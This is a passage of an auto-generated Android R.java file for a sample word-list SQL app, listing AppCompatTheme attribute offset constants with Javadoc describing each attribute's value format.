attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:actionModeCloseDrawable
*/
public static final int AppCompatTheme_actionModeCloseDrawable = 31;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionModeCopyDrawable}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:actionModeCopyDrawable
*/
public static final int AppCompatTheme_actionModeCopyDrawable = 33;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionModeCutDrawable}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:actionModeCutDrawable
*/
public static final int AppCompatTheme_actionModeCutDrawable = 32;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionModeFindDrawable}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:actionModeFindDrawable
*/
public static final int AppCompatTheme_actionModeFindDrawable = 37;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionModePasteDrawable}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:actionModePasteDrawable
*/
public static final int AppCompatTheme_actionModePasteDrawable = 34;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionModePopupWindowStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:actionModePopupWindowStyle
*/
public static final int AppCompatTheme_actionModePopupWindowStyle = 39;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionModeSelectAllDrawable}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:actionModeSelectAllDrawable
*/
public static final int AppCompatTheme_actionModeSelectAllDrawable = 35;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionModeShareDrawable}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:actionModeShareDrawable
*/
public static final int AppCompatTheme_actionModeShareDrawable = 36;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionModeSplitBackground}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:actionModeSplitBackground
*/
public static final int AppCompatTheme_actionModeSplitBackground = 30;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionModeStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:actionModeStyle
*/
public static final int AppCompatTheme_actionModeStyle = 27;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionModeWebSearchDrawable}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:actionModeWebSearchDrawable
*/
public static final int AppCompatTheme_actionModeWebSearchDrawable = 38;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionOverflowButtonStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:actionOverflowButtonStyle
*/
public static final int AppCompatTheme_actionOverflowButtonStyle = 15;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionOverflowMenuStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:actionOverflowMenuStyle
*/
public static final int AppCompatTheme_actionOverflowMenuStyle = 16;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#activityChooserViewStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:activityChooserViewStyle
*/
public static final int AppCompatTheme_activityChooserViewStyle = 58;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#alertDialogButtonGroupStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:alertDialogButtonGroupStyle
*/
public static final int AppCompatTheme_alertDialogButtonGroupStyle = 94;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#alertDialogCenterButtons}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:alertDialogCenterButtons
*/
public static final int AppCompatTheme_alertDialogCenterButtons = 95;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#alertDialogStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:alertDialogStyle
*/
public static final int AppCompatTheme_alertDialogStyle = 93;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#alertDialogTheme}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:alertDialogTheme
*/
public static final int AppCompatTheme_alertDialogTheme = 96;
/**
<p>This symbol is the offset where the {@link android.R.attr#windowAnimationStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
@attr name android:windowAnimationStyle
*/
public static final int AppCompatTheme_android_windowAnimationStyle = 1;
/**
<p>This symbol is the offset where the {@link android.R.attr#windowIsFloating}
attribute's value can be found in the {@link #AppCompatTheme} array.
@attr name android:windowIsFloating
*/
public static final int AppCompatTheme_android_windowIsFloating = 0;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#autoCompleteTextViewStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:autoCompleteTextViewStyle
*/
public static final int AppCompatTheme_autoCompleteTextViewStyle = 101;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#borderlessButtonStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:borderlessButtonStyle
*/
public static final int AppCompatTheme_borderlessButtonStyle = 55;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#buttonBarButtonStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:buttonBarButtonStyle
*/
public static final int AppCompatTheme_buttonBarButtonStyle = 52;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#buttonBarNegativeButtonStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:buttonBarNegativeButtonStyle
*/
public static final int AppCompatTheme_buttonBarNegativeButtonStyle = 99;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#buttonBarNeutralButtonStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:buttonBarNeutralButtonStyle
*/
public static final int AppCompatTheme_buttonBarNeutralButtonStyle = 100;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#buttonBarPositiveButtonStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:buttonBarPositiveButtonStyle
*/
public static final int AppCompatTheme_buttonBarPositiveButtonStyle = 98;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#buttonBarStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:buttonBarStyle
*/
public static final int AppCompatTheme_buttonBarStyle = 51;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#buttonStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:buttonStyle
*/
public static final int AppCompatTheme_buttonStyle = 102;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#buttonStyleSmall}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:buttonStyleSmall
*/
public static final int AppCompatTheme_buttonStyleSmall = 103;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#checkboxStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:checkboxStyle
*/
public static final int AppCompatTheme_checkboxStyle = 104;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#checkedTextViewStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:checkedTextViewStyle
*/
public static final int AppCompatTheme_checkedTextViewStyle = 105;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#colorAccent}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:colorAccent
*/
public static final int AppCompatTheme_colorAccent = 85;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#colorBackgroundFloating}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:colorBackgroundFloating
*/
public static final int AppCompatTheme_colorBackgroundFloating = 92;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#colorButtonNormal}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:colorButtonNormal
*/
public static final int AppCompatTheme_colorButtonNormal = 89;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#colorControlActivated}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:colorControlActivated
*/
public static final int AppCompatTheme_colorControlActivated = 87;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#colorControlHighlight}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:colorControlHighlight
*/
public static final int AppCompatTheme_colorControlHighlight = 88;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#colorControlNormal}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:colorControlNormal
*/
public static final int AppCompatTheme_colorControlNormal = 86;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#colorPrimary}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:colorPrimary
*/
public static final int AppCompatTheme_colorPrimary = 83;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#colorPrimaryDark}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:colorPrimaryDark
*/
public static final int AppCompatTheme_colorPrimaryDark = 84;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#colorSwitchThumbNormal}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:colorSwitchThumbNormal
*/
public static final int AppCompatTheme_colorSwitchThumbNormal = 90;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#controlBackground}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:controlBackground
*/
public static final int AppCompatTheme_controlBackground = 91;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#dialogPreferredPadding}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:dialogPreferredPadding
*/
public static final int AppCompatTheme_dialogPreferredPadding = 44;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#dialogTheme}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:dialogTheme
*/
public static final int AppCompatTheme_dialogTheme = 43;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#dividerHorizontal}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:dividerHorizontal
*/
public static final int AppCompatTheme_dividerHorizontal = 57;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#dividerVertical}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:dividerVertical
*/
public static final int AppCompatTheme_dividerVertical = 56;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#dropDownListViewStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:dropDownListViewStyle
*/
public static final int AppCompatTheme_dropDownListViewStyle = 75;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#dropdownListPreferredItemHeight}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:dropdownListPreferredItemHeight
*/
public static final int AppCompatTheme_dropdownListPreferredItemHeight = 47;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#editTextBackground}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:editTextBackground
*/
public static final int AppCompatTheme_editTextBackground = 64;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#editTextColor}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>May be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>May be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
@attr name com.android.example.wordlistsql:editTextColor
*/
public static final int AppCompatTheme_editTextColor = 63;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#editTextStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:editTextStyle
*/
public static final int AppCompatTheme_editTextStyle = 106;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#homeAsUpIndicator}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:homeAsUpIndicator
*/
public static final int AppCompatTheme_homeAsUpIndicator = 49;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#imageButtonStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:imageButtonStyle
*/
public static final int AppCompatTheme_imageButtonStyle = 65;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#listChoiceBackgroundIndicator}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:listChoiceBackgroundIndicator
*/
public static final int AppCompatTheme_listChoiceBackgroundIndicator = 82;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#listDividerAlertDialog}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:listDividerAlertDialog
*/
public static final int AppCompatTheme_listDividerAlertDialog = 45;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#listMenuViewStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:listMenuViewStyle
*/
public static final int AppCompatTheme_listMenuViewStyle = 114;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#listPopupWindowStyle}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:listPopupWindowStyle
*/
public static final int AppCompatTheme_listPopupWindowStyle = 76;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#listPreferredItemHeight}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:listPreferredItemHeight
*/
public static final int AppCompatTheme_listPreferredItemHeight = 70;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#listPreferredItemHeightLarge}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:listPreferredItemHeightLarge
*/
public static final int AppCompatTheme_listPreferredItemHeightLarge = 72;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#listPreferredItemHeightSmall}
attribute's value can be found in the {@link #AppCompatTheme} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:listPreferredItemHeightSmall
*/
public static final int AppCompatTheme_listPreferredItemHeightSmall = 71;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#listPreferredItemPaddingLeft}
